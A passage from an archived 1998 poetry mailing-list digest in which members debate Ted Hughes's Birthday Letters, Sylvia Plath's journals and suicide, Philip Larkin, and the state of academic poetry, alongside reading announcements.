Plath's famous "Daddy," the father she sought and fought in her poems, was a real presence in their lives, somehow: "While I slept he snuggled / Shivering between us." The writer's failure, as he sees it, is that he finally could not protect her from that ghost, nor free her from the misapprehension that he was but another avatar of that fearful Daddy. That the speaker of these poems loved, loves, the woman addressed throughout is clear. What that love meant or means is not. There's another problem, though, one these references point to: are these Hughes's poems? Or are they somehow still Plath's? Many are so full of her imagery, her dark symbolism, if only because they are replies, that it's hard to read them as anything but collaborations with the (perhaps unwilling) dead. There are many off-putting moments, including the oddly inflected description of her "monkey-elegant fingers" and "the African-lipped, laughing, thickly / Crimson painted mouth." There is the mean-spirited attack on the hyena-critics, especially those who have defended Plath against him, who will undoubtedly be spending so much time on these poems in years to come. There are poems that simply seem to be travelogues from the marriage and add little to the ongoing argument the poet is having with both his dead love and himself. Nevertheless, although I originally felt that less would have been more in this case, and wished that the obsessive overindulgence of this book had been brought under control, I have to admit that whatever power it has derives from precisely its over the top sad, angry, self-explanatory, argumentative desire to return, over and over again, to the moments when their love and their mutual suffering threw such a strong light across their shadowed lives. But in saying this, I am responding more to the mythic gossip that has haunted contemporary poetic history since Plath's suicide than to any particular quality of

Hughes's poems. Still, whether or not Birthday Letters is good poetry, it is a fascinating book.

For what it's worth...

==========
==========
Douglas Barbour
Department of English
University of Alberta
Edmonton Alberta T6G 2E5
[redacted] FAX:[redacted]
H: [redacted]
~~~
~~~

Q: How would you characterize the MLA-AWP problem? A: In terms of an archaic reliance on older notions of "craft," "voice"; a certain anti-postmodern/ anti-poststructural sentiment; and in general a resistance to newer pedagogies (Freirean, etc.).

Q: Does this mean that the state of contemporary poetry (and poetics) in North American postsecondary institutions is tenuous?
A: Yes.

Q: Can you offer any immediate proof of this? A: My most immediate proof would be anecdotal: the vast number of English professors I'm met who can't name even a half-dozen contemporary poets, and who have no working vocabulary for the specifically *poetic* status of their claims.

Q: Does this have anything at all to do with the general state of poetry in North America?
A: Yes.

Q: Does the general state of poetry in North America have anything to do with current publishing realities---mergers, acquisitions, and so forth? A: Yes.

Q: With the relative collapse of the small press distribution system? A: Yes.

Q: Will poetry wither on the North American cultural vine? A: No. People will continue to write it.

Q: What's your greatest fear then? A: That we continue to produce a public domain that is unresponsive---politically, aesthetically, socially---to the poetry (and art) of so many of its citizens. My concerns have to do with the cultural influence of a practice that I consider valuable---the influence it might have, as might other arts, in humanizing (or post-humanizing) our public practices.

Q: Doesn't this imply a rather ambitious social agenda on your part, esp. wrt the arts?
A: Yes.

Q: Does the educational system have anything to do with your agenda? A: Yes.

Q: Do electronic networking technologies provide hope for a more distributive, more diverse set of poetic practices?
A: Yes.

Q: Do electronic networking technologies augur a possible threat of social control?
A: Yes.

Q: What is your greatest fear re electronic technologies? A: That the social structures that currently enforce regulation and compliance to assorted norms

(incl. my professional home---academe) manage to seize control of these technologies to augment their power.

Q: Are electronic technologies new?
A: In some ways.

Q: Are electronic technologies simply a new version of an older way of thinking?
A: Sometimes.

///best,

joe

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730. **joel lewis**
hughes,plath & larkin
Thu 19 Feb 1998

---

strikes me that recent firestorm over t hughes' poems represents the first time in years that mainstream poetry has been in the "news" (recent coverage of poetry has tended tp focus on slams & allen ginsberg/beatnickia. it also strikes me that hughes' reputation had been fairly dim in the US in recent years, in part (i believe) to the spate of plath bios that rarely portray him in a favorable light. in college in mid 70's, my professors wld proclaim hughes "the best poet writining english today" (the kind of pronouncement that new critic trained profs loved to make)-- none of my creative writing students have ever heard of him before the controversey (or Robert Lowell, for that matter). Nomatter how sorid the issue, mainstream poetry is a topic of controversey and conversation.

this issue also seems a boost for "old-school" essentialist feminism-- who nevr bought into recent french-influenced feminism --and who had made plath into a central icon -- haven't heard Robin Morgan's name evoked in a while!! --

re: Philip Larkin--i'll reccomend his "all what jazz" as a really hilarious book -- essentially the adventures of a mouldy fig (jazz term for a musical square) trying to make sense of albert ayler, eric doplphy and, even, charlie parker (who thought was too strident & had a lousy tone" he finally gave it up in early 70's.

joel lewis

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731. **jarnot**
sharma & shapiro reading
Thu 19 Feb 1998

---

for those in the new york city area,

on friday night, february 20th there will be a poetry reading by

Prageeta Sharma
&
David Shapiro

at the School for Visual Arts Library:

380 2nd Avenue at 22nd Street,
2nd Floor

7:00 p.m.

David Shapiro has published numerous works of poetry, art and literary criticism, and translation since 1965. Currently a professor of Art History at the William Paterson College, his collected poetry includes House (Blown Apart) and After a Lost Original. Shapiro has produced a distinguished body of art criticism as well, including monographs on Jim Dine, Jasper Johns, Piet Mondrian, and Michael Goldberg, and he is co-editor of an anthology on aesthetics entitled Uncontrollable Beauty -- a book co-published by the School of Visual Arts and Allworth Press.

Prageeta Sharma, the publisher of Vimal Press, has had work published in Agni and No Trees. A graduate of Brown University's Creative Writing Program in 1995, she was also the recipient of the Academy of American Poets Prize that same year. Ms. Sharma currently lives in Brooklyn, where she is curator of the Fall Cafe reading series.

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732. Judy Roitman
Re: Irby Checklist
Thu 19 Feb 1998

Thank you Charles Smith for your hard work and wonderful checklist!

---------- Judy Roitman
| "Whoppers Whoppers Whoppers! Math, University of Kansas | memory fails Lawrence, KS 66045 | these are the days." [redacted]
| fax: [redacted] | Larry Eigner, 1927-1996
---------- Note new area code
----
http://www.math.ukans.edu/~roitman/

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733. **louis stroffolino**
Re: Plath and Hughes
Thu 19 Feb 1998

Yes, Suzanne, I am all for a discussion of PLATH's poetry. Please let's start one. Chris

On Thu, 19 Feb 1998, Suzanne Burns wrote:

> *On Wed, 18 Feb 1998, Marjorie Perloff wrote:*
>
> *poems do serve to remind us how talented Plath herself was. He only wishes he could write 1/10 as well.*
>
> *I wholeheartedly agree with this. One thing I regret about this thread is that Plath has been lost somewhere in the margins. If this is a forum to talk about innovation, we might want to look at what she has achieved, rather than indulge in the usual, tired Hughes bashing.*
>
> *Another point: I don't believe he wrote these poems "over the years." I think he wrote them just this last year or so in order to justify himself and cash in on her death yet again! And now he has succeeded.*
>
> *How are you coming to this, Marjorie? Is it really unbelievable that Hughes, who was married to Plath for heavens sake, would write about her, however inadequately, over the years? I can't say anything about the majority of the poems-- nor can anyone-- but it should be noted that about eight or so have been published over the years. I believe one made it into his selected, published about ten years ago.*
>
> *Suzanne*

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734. **Maria Damon**
Re: baraka sez
Thu 19 Feb 1998

thank you billy little. this is a breath of fresh air. just saw baraka lasst week at northeastern u, it was marvelous, w/ his band , what is it, blue ark?, v inspiring.

At 8:00 AM -0700 2/19/98, Billy Little wrote:
> My own
> poetic tradition is Fred Douglass, The Sorrow Songs, David Walker,
>The Shouts and
> The Hollers, Work Songs, Arwhoolies, Prison House moans, Tubman and

>Nat Turner.
> Vesey and Prosser and John Brown and Melville and Harper and Du
>Bois, Twain, Truth
> and Linda Brent and Box Brown. Whitman (except for his American
>Destiny) Brecht,
> Mayakovsy, Sembene Ousman, Lu Shun, Baldwin, Hansberry, Margaret
>Walker Mao, Ho,
> Guillen, Lorca, Roque Dalton, Otto Rene Castillo, Henry Dumas, Larry
>Neal, Neruda,
> Louis Armstrong, Babs Gonzalez, Dizzy Gillespie, Monk, Ellington,
>Sassy and
> Billie, The Ginsberg who proselytized for American speech, the
>breath phrase and
> Bop Prosody and the exposure of the Moloch of US imperialism,
>Sterling Brown, Aime
> Cesaire, Olson, The Black Church, Stevie Wonder, Smokey Robinson.
>
> The life of the Blues, the music of resisting spirit. Niggers alive
>and laughing.
> The victory of the people. Revolutionary democracy, the rule of
>workers, in
> alliance with the farmers and democratic forces.
>
> It is the John Coltrane Do Bana Coba Beneme Beneme Douglass DuBois
>Sassy Billie
> Return to the Source tradition of the burning expressions of Human
>Desire. Both
> Form and Content are Weapons of Self Consciousness and Revolution.
>
> With what we declared by the time of the 60's Black Arts Movement.
>An Art that is
> Afro American. (i.e. democratic) Mass Oriented and Revolutionary.
>This tradition
> is the inspiration and method by which we revolutionaries approach
>Social
> Transformation by the power of our form and content, their unity and
>the intensity
> of struggle. But we must create a new superstructure from those
>traditions. One
> controlled by the workers and farmers and democratic middleclasses.
>international
> network of institutions and organizations by which our entire

>revolutionary
> tradition can wage righteous war on the criminal rulers and their
>corrupt
> oppressive rule. For it is this wailing, this defiance, this
>resistance, this joy
> in the overwhelming of evil by good, that is at the base of our
>poetic traditions,
> our history, our continuing lives.
>
>from [The Conference on Contemporary Poetry, held April 24th - April 27th,
>1997]
>
>
> Social Change & Poetic Tradition
>
> Amiri Baraka

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735. **Maria Damon**

Re: dead frog's legs touched by electrodes

Thu 19 Feb 1998

At 11:26 PM -0800 2/18/98, Mark Baker wrote:
>Are these lines, already too much for Dodie,--
>
>> Lucas, my friend, one
>> Among those three or four who stay unchanged
>> Like a separate self,
>> A stone in the bed of the river
>> Under every change . . .
>
>--supposed to be irony? These are Hughes'
>friends? Had he met them at close of day,
>among grey 20th-century Yorkshire moors?
>Did they or did they not make a stone of
>the heart? It's not beauty, but it's terrible.
>
>
>Mark Baker

does this passage remind others of nights in high school spent translating ovid or some other classical poet? it strikes me as having the flavor of a clumsy translation of some classic rhetorical figure. i haven't followed the hughes story

in the news, but i'm wondering if the appearance of this book is related to or was catalyzed in some by the diana poem he produced; the themes are similar (the death of a beautiful young woman --hmm, why does poe come to mind). maybe that's just too cheap a shot, in which case i take it back; i do respect his early work, at least what i remember of it.

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736. Maria Damon

Re: crow

Thu 19 Feb 1998

At 3:16 PM -0500 2/18/98, Henry Gould wrote:
>Crows play quite a part in poetry, don't they? I think they're in the
>early Russian folk epics a lot. Mandelstam played with the name of the
>town he was exiled in: Voronezh - as "voron"-"nozh" or raven knife, something
>like that. then there's Poe's famous poim. Cautantowwit or Raven was
>the chief god of the Narragansetts - ruler the land of the dead in the
>southwest. "as the crow flies".

here on the cape, the crows are taking over. the place i'm staying used to be a bird sanctuary and filled w/ all kinds of incredible sounds. now it's mostly crows. i've had an onus against them since one of them ate some baby robins right outside my kitchen door a few years ago; the sight of that crow resting on the ground, beak slightly parted after the deed, and the sound of the parent robins shrieking wildly, has been pretty haunting.
>
>Maybe one way to look at Hughes is as a poet who put on the mask of
>wildness, the primitive - to break out of British civilization - only
>to find experience - "ordinary" experience - more terrible than anything
>he played with in his imagination... he's never been humbled, never eaten
>crow - but maybe the crow ate him... (but I don't really know the story)
>
>- Henry Gould

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737. Suzanne Burns

Re: the "project"

Thu 19 Feb 1998

On Thu, 19 Feb 1998, Judy Roitman wrote:

> *My shelves are stacked with books of poets I want to read and haven't get*

> *gotten around to. Why should I or anyone else put time into reading someone we don't like?*

Exactly. Why read someone you don't like, bash someone you haven't read, or waste bandwidth on subjects that don't interest you ....

And yet... 'scuse me for being mischievous because I'm really not into Hughes's work all that much and have many of the same issues with his writing that you have, but isn't it interesting how LONG this thread has been?

Jacqueline Rose's book about Plath opens with a quote from her journals in which she wonders why everybody is talking so much about that damned Eddie Fisher/ Debbie Reynolds thing.... wish I had the quote in front of me. It seems to apply. As for "necrophilia", well I have used that word before to describe a number of Plathies I've met....

Why does this fascinate? Why does everybody and their dog want to get their two-cents in?

Suzanne

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738. **dbkk**
I and you
Thu 19 Feb 1998

> *Date: Wed, 18 Feb 1998 14:09:05 EST*
> *From: Michael McColl <[redacted]>*
>
> *I've only read the selection in the new yorker; maybe they culled some of the better ones, I don't know. But the phrase "unrelenting I and you autobiography" makes no sense to me. Why is autobiography anymore unrelenting than its absence? (Just trying to pick up on some assumptions that are evidently obvious to many here, and not for that reason anything wrong or sinister, just not exactly clear to me--asking for a bit of patience and a brief explanation where possible).*
>
> *Date: Wed, 18 Feb 1998 13:20:39 -0600*
> *From: Judy Roitman <[redacted]>*
>
> *"I and you" that's what (I suspect) appears as unrelenting.*
>
> *Isn't that what autobiography is automatically about? inquiring minds want to know.*
>
> *A: No.*

Judy, thanks for answering Michael's query with such snappy brevity. Yes, it was the "I" "you" thing I was critiquing. Not to go on and on about my own work--but autobiography and exploring notions of the self are the central issues in my own writing. Obviously I'm rather opinionated on the topic. Also of central concern to me is the Dark and the Archetypal. The greatest challenge for me in writing The Letters of Mina Harker was how to reinvent (or to be more modest, work with) these tropes in a way that wasn't hokey--also in a way that delights in their hokey potential but goes beyond mere parody.

Dark and Archetypal can be just as dreadfully cliched as anything else, and I imagine that's what Pierre's critique is about--not that he's afraid of those realms. Look at some of the dreadful poetry coming out of Jungian psychology. "Let's march down into The Tunnel and smear some Blood on us." With Plath there is the sense that this stuff is really dangerous and she's always trying to keep in down and it keeps breaking out anyway--and that gives a lot of energy to her work. Risk.

And lots of fragmentation. None of this "I am Dark, Archetypal, and Unified." My problem with Hughes' autobiography in The Birthday Letters (since I'm not familiar with the rest of his work, and maybe he stretches more elsewhere) is that there is no questioning of the self, of simple issues like who is speaking, who is being spoken to, no sense of the self as a performance, no hint of the self as not being this unified entity. Plath comes across as schizzy and unpredictable, but through Hughes' unified eye.

One of the great pleasures I get from reading Plath--and something I've learned a lot from reading her--is this notion of the self as a performance. One doesn't often get the sense of Sylvia Plath seeing the world outside her window--one gets the sense of these psychic fragments searching desperately for embodiment. Even the dreaded Daddy poem is marvelous as a performance. It confuses me why this poem isn't seen as a performance. This isn't Sylvia being honest, this is Sylvia "doing" rage.

Sorry to go on and on. You know how it is when fans start talking.

Dodie

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739. **k. lederer**
Re: Plath and Hughes
Thu 19 Feb 1998

Perhaps as a segue into Plath (from her diary, which is perhaps hard to find, but in libraries certainly...):

The Preface to The Diary, by Ted Hughes (my edition is The Dial Press, 1982):

....One can compare what was really going on in her to a process of alchemy. Her apprentice writings were like impurities thrown off from the various stages of the inner transformation, by-products of the internal work. One really can use these terms in her case..... But what did she want? In a different culture, perhaps, she would have been happier. There was something about her reminiscent of what one reads of Islamic fanatic lovers of God -- a craving to strip away everything from some ultimate intensity, some cummunion with spirit, or with reality, or simply with intensity itself. She showed something violent in this, something very primitive, perhaps very female, a readiness, even a need, to sacrific everything to the new birth. With her, this was vividly formulated at every level of her being. The negative phase of it, logically, is suicide. But the positive phase (more familar in religious terms) is the death of the old false self in the birth of the new and real one. And this is what she finally did achieve, after a long and painful labor. ARIEL and the associated later poems give us the voice of that self. They are the proof that it arrived. All her other writings, except these journals, are the waste products of its gestation. Sylvia Plath was a person of many masks, both in her personal life and in her writings. Some were camouflage cliche facades, defensive mechanisms, involuntary. And some were deliberate poses, attempts to find the keys to one style or another. These were the visible faces of her lesser selves, her false or provisional selves, the minor roles of her inner drama. Though I spent every day with her for six years, and was rarely separated from her for more than two or three hours at a time, I never saw her show her real self to anybody--except, perhaps, in the last three months of her life. Her real self had showed itself in her writing, just for a moment, three years earlier, and when I heard it--the self I had married, after all, and lived with and knew well--in that brief moment, three lines recited as she went through a doorway, I knew what I had always felt must happen and had now begun to happen, that her real self, ebing the real poet, would now speak for itself, and would throw off all those lesser and artificial selves that had monopolized the the words up to that point, it was as if a dumb person suddenly spoke. A real self, as we know, is a rare thing. The direct speech of a real self is rarer still. Where a real self exists it reveals itself, as a rule, only in the quality of the person's presence, or in actions....When a eal self finds language, and manages to speak, it is surely a dazzling event--as ARIEL was. {Then a paragraph positing that although the poems of ARIEL are the products of her real self, they don't truly represent the day-to-day dramas that led up to their composition...} This is where her journals demonstrate their difference in kind from all her other writings. Here she set down her day to day struggle with her warring selves, for herself only. This is her autobiography, far from comlete, but complex and accurate, where she strove to see herself honestly and fought her way through the unmaking and remaking of herself. Ad the Sylvia Plath we can divine here is the closest we can now get to the real person

in her daily life. The journals exist in an assortment of notebooks and bunches of loose sheets. This selection contains perhaps a third of the whole bulk, which is now in the Neilson Library at Smith College. Two more notebooks survived for a while, maroon-backed ledgers like the '57-'59 volume, and continued the record from late '59 to within three days of her death. The last of these contained entires for several months, and I destroyed it because I did not want her children to have read it (in those days I regarded forgetfulness as an essential part of survival). The other disappeared.

!!!

So, some thoughts:

1. Let's just speculate that the diary that Hughes destroyed said lots of nasty things about him and hs philandering--would these new poems have even been possible? Would he have had the nerve to publish them in a such a way? How has Plath's Hughes-induced silence (the lost journals) allowed him to publish this volume?

2. Notice the way in which Hughes contructs a world in which he figures as a sort of absent father-figure: the description of the birthing and sloughing off of her selves (withHughes simply standing by to witness); the excuse that Hughes profers of saving "her" children from the grief that her final journal may have caused; the incredible insistence that though he was present and by her side at all times, none of what happened to her was ultimately caused by this presence--and so on.

3. By writing such a shamefully blatant attempt to excuse himself from the scene of any number of "crimes of and against the Self" as he construes it here, doesn't he in some sense erase any legitimate connection between The Plath as we now see her and his own body of work? HE DESTROYED AN ENTIRE NOTEBOOK of her writing! He claims to have had no part in the "emergence" of this "real Self" of hers--who cares how many years these new works took him to write--if he insists on foregrounding Plath's suicide yet again (and to his own advantage) then yes, I think we should again begin to discuss HER work--

Regards,
Katy

↑ Index

740. **Mark Baker**
Re: dead frog's legs touched by electrodes
Thu 19 Feb 1998

Maria,

Is your "this passage" mine or Hughes' lines? If Hughes',
then the "clumsy translation," or the incredible
deafness in a poet laureate, is of Yeats--the stone
in the changing stream. You read him in high school.

Mark Baker

Maria Damon wrote:

> *At 11:26 PM -0800 2/18/98, Mark Baker wrote:*
> *Are these lines, already too much for Dodie,--*
>
> *Lucas, my friend, one*
> *Among those three or four who stay unchanged*
> *Like a separate self,*
> *A stone in the bed of the river*
> *Under every change . . .*
>
> *--supposed to be irony? These are Hughes'*
> *friends? Had he met them at close of day,*
> *among grey 20th-century Yorkshire moors?*
> *Did they or did they not make a stone of*
> *the heart? It's not beauty, but it's terrible.*
>
> *Mark Baker*
>
> *does this passage remind others of nights in high school spent translating*
> *ovid or some other classical poet? it strikes me as having the flavor of a*
> *clumsy translation of some classic rhetorical figure. i haven't followed*
> *the hughes story in the news, but i'm wondering if the appearance of this*
> *book is related to or was catalyzed in some by the diana poem he produced;*
> *the themes are similar (the death of a beautiful young woman --hmm, why*
> *does poe come to mind). maybe that's just too cheap a shot, in which case*
> *i take it back; i do respect his early work, at least what i remember of*
> *it.*

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741. **Aldon Nielsen**

Re: Ted, Sylvia & Phil; Larkin's life sins

Thu 19 Feb 1998

---

but Larkin was the moldiest of moldy figs -- which accounts for his frequent sins against most jazz -- a narow love indeed

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742. Laura Moriarty
Bellamy, Burger, & Jarnot
Thu 19 Feb 1998

New non - Blue Screen by Dodie Bellamy and Son of Replaement Killer by Mary Burger. Both in relation to movies. Check out some of that dark autobiograhpical Bellamy complexity in the flesh!

http://socrates.berkeley.edu/~moriarty/

Also short sweet poem by Lisa Jarnot - On the Sublime - with line dark metallic stapler in it -

Laura

[redacted]
http://socrates.berkeley.edu/~moriarty/

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743. Mark Weiss
Re: Plath and Hughes
Thu 19 Feb 1998

Marjorie: I'm in general agreement, altho I'm far less taken with Plath's work than you. One question: how do you make someone who committed suicide "look more suicidal...than she actually was"?

At 11:06 PM 2/18/98 -0800, you wrote:
>As someone who has written quite a bit about Sylvia Plath (and reviewed a
>number of Hughes's books over the years), I'd like to throw my two cents
>into this debate.
>
>Ted Hughes, let's remember, burned Sylvia Plath's journals and reordered
>her last poems so as to make her look more suicidal and depressed than she
>actually was (see my essay on this in POETIC LICENSE). It's uncanny how
>he re-presented her work and made himself look better. He also let out
>the most dangerous poems when he edited ARIEL.
>
>Now Hughes comes along and gives us "his side of the story." What is his
>explanation of Plath's "failure"? Her father complex! Come on, now! How
>banal can you get. And the poems I've seen reproduced in the papers (I
>haven't read the book yet) are embarrasingly banal and self-justifying.
>What is disturbing is not that Hughes, whose work has been going down hill
>for years) should have written these poems, but that the reviewers LOVE
>THEM! Call them "great works of art." It's very depressing. This is all
>just biographical drivel and will have no staying power. However, Hughes'

>poems do serve to remind us how talented Plath herself was. He only
>wishes he could write 1/10 as well.
>
>Another point: I don't believe he wrote these poems "over the years." I
>think he wrote them just this last year or so in order to justify himself
>and cash in on her death yet again! And now he has succeeded.
>
>Marjorie Perloff
>
>

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744. **David Israel**
Re: hi-gloss
Thu 19 Feb 1998

Billy --

thanks for b.c. copying me on this; I generally / sometimes read Poetics in digest (as has been just now), so won't know (till the big computer deigns to send me, now, an unfinished update) what (if anything) has been further said in this thread.

To your point, though --

my description ("radical '60s-ish formula") was vague to the point of obscuring the intention -- which was merely as description, not as critique as such. That is, if I knew that it was, say, Angela Davis (??) / Eldridge Cleaver (??) who had minted that adage, I could more usefully have (mildly) more meaningfully have written, "Davis's adage" -- but that, still, would merely be a matter of description -- i.e., tagging the adage to its origins, for (at least) historical interest.

As for the meaningfulness of said adage --

> if you're not part of the solution,
> you're part of the problem

its "binarity" (presumably a neolgism there) is what I was (mildly, at most) calling into quasi-question.

Following (at least, say) Gautama's lead, one might infer that (from certain p.o.v.'s) nobody's ever a part of the solution who hasn't been (or, perhaps, isn't) also part of the problem. One must be within the muck to do anything with the muck, that is. But no doubt I write too broadly.

I'm no great admirer of George Will's, btw. Used to enjoy some of his comumns abt. 15 years ago, but not since.

cheerz,
d.i.

p.s.: Regarding "dark archetypal", -- well, okay, I've got a weakness for that stuff in poetry. I've been a tad more interested in other things from Hughes than what I've seen of the Plath poems so far; and will admit to having liked one or two poems of James Fenton's (and, more, some of his journalistic stuff -- which he does w/ great regularity for the NYRoB). Presumably Hughes is, to some degree, in debt to the (perhaps underappreciated?) Robert Graves, dark-arch-wise . . . ; anyway, give me dark-arch, or give me death. (hmm, maybe they're six o' one . . ?)

>>> Billy Little <[redacted]> 02/19 11:02 AM >>>
(Of course the reliance on radical '60s-ish formula is not to be missed; -- not glossed over, rather, glossed.)doan no eggsacly vut u meen heer, mien heir, butt f u emadgin u kin dis dose ol fokes sow glibly u bin squah dancin vit george will 2 lung

↑ Index

745. **Gwyn McVay**
Re: Plath and Hughes
Thu 19 Feb 1998

Not too fond of that quote from his preface about "Islamic fanatic lovers of God" either. Maybe just hearing the phrase in a lot of other mouths right now.

Gwyn McVay

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746. **Mark Weiss**
Re: Plath and Hughes
Thu 19 Feb 1998

I'm probably putting myself in harm's way here. I care little for Hughes' work, and not a lot for Plath's. But this aspect of her cult (not her poems) has always disturbed me: that she was not responsible for her suicide. The suicide of someone who is physically healthy, and who leaves children behind to come to terms with it, is a fairly strong statement. To strip Plath of responsibility for hers is to strip her of much of her dignity.

One further point before I go into hiding. Hughes' "in those days I regarded forgetfulness as an essential part of survival" reads to me as an admission that if he had been in his right mind at the time he would have found another way to protect his children from the destroyed journal. There certainly is no excuse for destroying anyone's work, but it's not hard to understand the impulse. Suicide

is the unanswerable argument, the ultimate weapon, the nastiest thing that one can do to one's survivors, and Hughes, with his many faults, had just been zapped.

It's worth remembering that a suicide's surviving family members have an astronomically higher likelihood of resorting to suicide themselves. Quite a legacy.

> *2. Notice the way in which Hughes contructs a world in which he figures as a sort of absent father-figure: the description of the birthing and sloughing off of her selves (withHughes simply standing by to witness); the excuse that Hughes profers of saving "her" children from the grief that her final journal may have caused; the incredible insistence that though he was present and by her side at all times, none of what happened to her was ultimately caused by this presence--and so on.*

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747. **Joe Brennan**
Re: Lacan on Poetry
Thu 19 Feb 1998

---

brennan's response to weiss

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748. **David Israel**
Re: Bellamy, Burger, & Jarnot / Loden (etc.)
Thu 19 Feb 1998

Laura M. --

thanks for non (non-thanks); nice, too, therein, the Rachel Loden "Carnal Acknowledgements" -- whence this:

<< . . . Commentary: there is no suffering so great that human minds cannot transform it into some kind of spiritual stretching exercise or wretched experiment. And we want a Greek chorus the way we wanted somebody to watch us learn to walk, we want miles and miles of microfiche and jars of crumbling papyrus. . . . >>

d.i.

>>> Laura Moriarty <[redacted]> 02/19 2:52 PM >>>
New non - Blue Screen by Dodie Bellamy and Son of Replaement Killer by Mary Burger. Both in relation to movies. Check out some of that dark autobiograhpical Bellamy complexity in the flesh!

http://socrates.berkeley.edu/~moriarty/

Also short sweet poem by Lisa Jarnot - On the Sublime - with line dark metallic stapler in it -

Laura

[redacted]
http://socrates.berkeley.edu/~moriarty/

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749. **k. lederer**
Re: Plath and Hughes
Thu 19 Feb 1998

Mark,

I agree that there is no excuse for suicide--and most of what you say below as regards Plath's actual suicide--

What I'm trying to say is that Hughes' publishing of his "necro-erotic" work decades after the fact appears tasteless and somehow contrary to the terms he sets up for himself in the Preface quoted earlier--

More to the point, however, I was trying to say that I agreed with Chris that we should, perhaps, use this opportunity to discuss her work--or perhaps to discuss larger issues such as to what degree biography and poetry intersect and so on...not to discuss Hughes' "lameness" etc....

Also: I just thought that this Preface was terribly interesting--really provocative stuff--and probably hadn't been read by most people on this list and/or else-where--

Best,
Katy

On Thu, 19 Feb 1998, Mark Weiss wrote:

> *I'm probably putting myself in harm's way here. I care little for Hughes' work, and not a lot for Plath's. But this aspect of her cult (not her poems) has always disturbed me: that she was not responsible for her suicide. The suicide of someone who is physically healthy, and who leaves children behind to come to terms with it, is a fairly strong statement. To strip Plath of responsibility for hers is to strip her of much of her dignity.*
>
> *One further point before I go into hiding. Hughes' "in those days I regarded forgetfulness as an essential part of survival" reads to me as an admission that if he had been in his right mind at the time he would have found another way to protect his children from the destroyed journal. There certainly is no excuse for destroying anyone's work, but it's not hard to*

> *understand the impulse. Suicide is the unanswerable argument, the ultimate weapon, the nastiest thing that one can do to one's survivors, and Hughes, with his many faults, had just been zapped.*
>
> *It's worth remembering that a suicide's surviving family members have an astronomically higher likelihood of resorting to suicide themselves. Quite a legacy.*
>
> *2. Notice the way in which Hughes contructs a world in which he figures as a sort of absent father-figure: the description of the birthing and sloughing off of her selves (withHughes simply standing by to witness); the excuse that Hughes profers of saving "her" children from the grief that her final journal may have caused; the incredible insistence that though he was present and by her side at all times, none of what happened to her was ultimately caused by this presence--and so on.*

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750. **k. lederer**
Re: Plath and Hughes
Thu 19 Feb 1998

Also:

How is Plath's suicide being figured in terms of gender here? The notion that she left behind children etc...

I can think of a number of male poets throughout history who have killed themselves in one way or another and been figured to be heroic--

Certainly they have not been admonished for "leaving children behind" etc in the same way that Plath has--

What if Plath had been the father? Hughes a cheating-on-spouse, non-writing mother? I suspect (it's obvious, really) that the discourse would be altogether different--

Regards,
Katy L.

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751. **James Finnegan**
Re: turf wars
Thu 19 Feb 1998

Joe, you made many good points, but allow me to pick at a few of your Q&As:

Q: Do you believe there's such a thing as "official verse culture"? A: Yes.

-----Yes, and all ages have had some vaguely definable "official verse culture," so I'm not certain this description hasn't become anything more than a stock response.

Q: How would you characterize official verse culture? A: In broad sweep, I'd point to the MLA-AWP interface. I'd have folks read the MLA Job List---to see how academic institutions assign value to creative writing when the chips are down and they need to hire someone---and I'd have them peruse AWP Chronicle---to note the way the literary is deployed and "contested" in articles and, well, contests.

Q: How would you characterize the MLA-AWP problem? A: In terms of an archaic reliance on older notions of "craft," "voice"; a certain anti-postmodern/ anti-poststructural sentiment; and in general a resistance to newer pedagogies (Freirean, etc.).

-----This close identification of MLA and AWP seems somewhat odd to me. MLA, judging from some of the conference propaganda Ive seen, doesn't strike me as an organization deadset against post mo & post- struralism. AWP's a rather different kind of outfit--one meant to serve students & their teachers in the college/univ.-based writing programs. AWP I dont think of as cause so much as it is manifestation of its constituency.

Q: Does this mean that the state of contemporary poetry (and poetics) in North American postsecondary institutions is tenuous?
A: Yes.

Q: Can you offer any immediate proof of this? A: My most immediate proof would be anecdotal: the vast number of English professors I'm met who can't name even a half-dozen contemporary poets, and who have no working vocabulary for the specifically *poetic* status of their claims.

Q: Does this have anything at all to do with the general state of poetry in North America?
A: Yes.

----I think it can be acknowledged that there is so such thing as a general readership for contemp poetry--not for the mainstream, not for the innovative, nor for the new formalists. That most English profs can't name 6 contemporary poets is sad. Then again, no profession/group could, other than we contemp poets, which gets into the circularity of no readers/no recognition.

Q: Does the general state of poetry in North America have anything to do with current publishing realities---mergers, acquisitions, and so forth? A: Yes.

---If any group was hurt by big biz events that began in 80s and have continued off & on since, it's been mainstream poets. Random House takes over Knopf, & some marginal mainstreamers (often worthy poets) get dropped. A Levine, Merwin, Hecht survive...but a Donald Finkel doesn't make the cut. The more innovative poets were never on the lists to begin with. I dont believe any unfeeling conglomerates went after The Figures or Telephone Books. Douglas Messerli can rest easy--no MBAs are plotting to take over Sun & Moon and force him to do cookbooks & self-helps.

Q: With the relative collapse of the small press distribution system? A: Yes.

Q: Will poetry wither on the North American cultural vine? A: No. People will continue to write it.

Again, it gets back to readers. Yes, we'll write it, but will it be read in sufficient quantities to support the likes of SPD? Perhaps, the new technologies you refer to may, in time, offer some relief to the distribution woes of small press. Perhaps will get an "Altermazon.com," so to speak. The new technologies relieving some of the overhead burdens and variable costs (inventory, brick & mortar, returns, catalog printing, etc.) borne by distributors.

Finnegan

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752. **Robin Morris**
Re: Plath and Hughes
Thu 19 Feb 1998

Interesting, that Orientalizing tendency apparent in the poems I read began early:

At 12:44 PM 2/19/98 -0600, you wrote:
>The Preface to The Diary, by Ted Hughes (my edition is The Dial Press,
>1982):
>There
>was something about her reminiscent of what one reads of Islamic fanatic
>lovers of God

and essentializing along the lines of gender which usually coincide with such Orientalizing also occurs:

> *She showed something violent in this, something very*
> *primitive, perhaps very female, a readiness, even a need, to sacrific*
> *everything to the new birth.*

Frankly, with a person who viewed me this way in my face non-stop for six years or whatever it was, I would have committed homicide, if not suicide.

Robin

* * * * * * * * *

Robin A. Morris
[redacted]
Home page: http://www-unix.oit.umass.edu/~ramorris

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753. David Israel
poet-heroes & suicide
Thu 19 Feb 1998

[was, Re: Plath and Hughes]

Katy Kederer wrote,

<< . . . I can think of a number of male poets throughout history who have killed themselves in one way or another and been figured to be heroic-- . . . >>

heroic in / for suicide, do you mean? Could you name one? (I'm not aware of entertaining that idea abt. anybody, truth to tell.)

The legend of Li Po's (possible) drowning in river, looking for the moon, seems a romanticized myth (hinting at the suicide question maybe), but I don't know that he's considered heroic for that . . . who else? Not to put you on the spot, -- just that I can't think of such examples.

d.i.

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754. Mark Weiss
Re: Plath and Hughes
Thu 19 Feb 1998

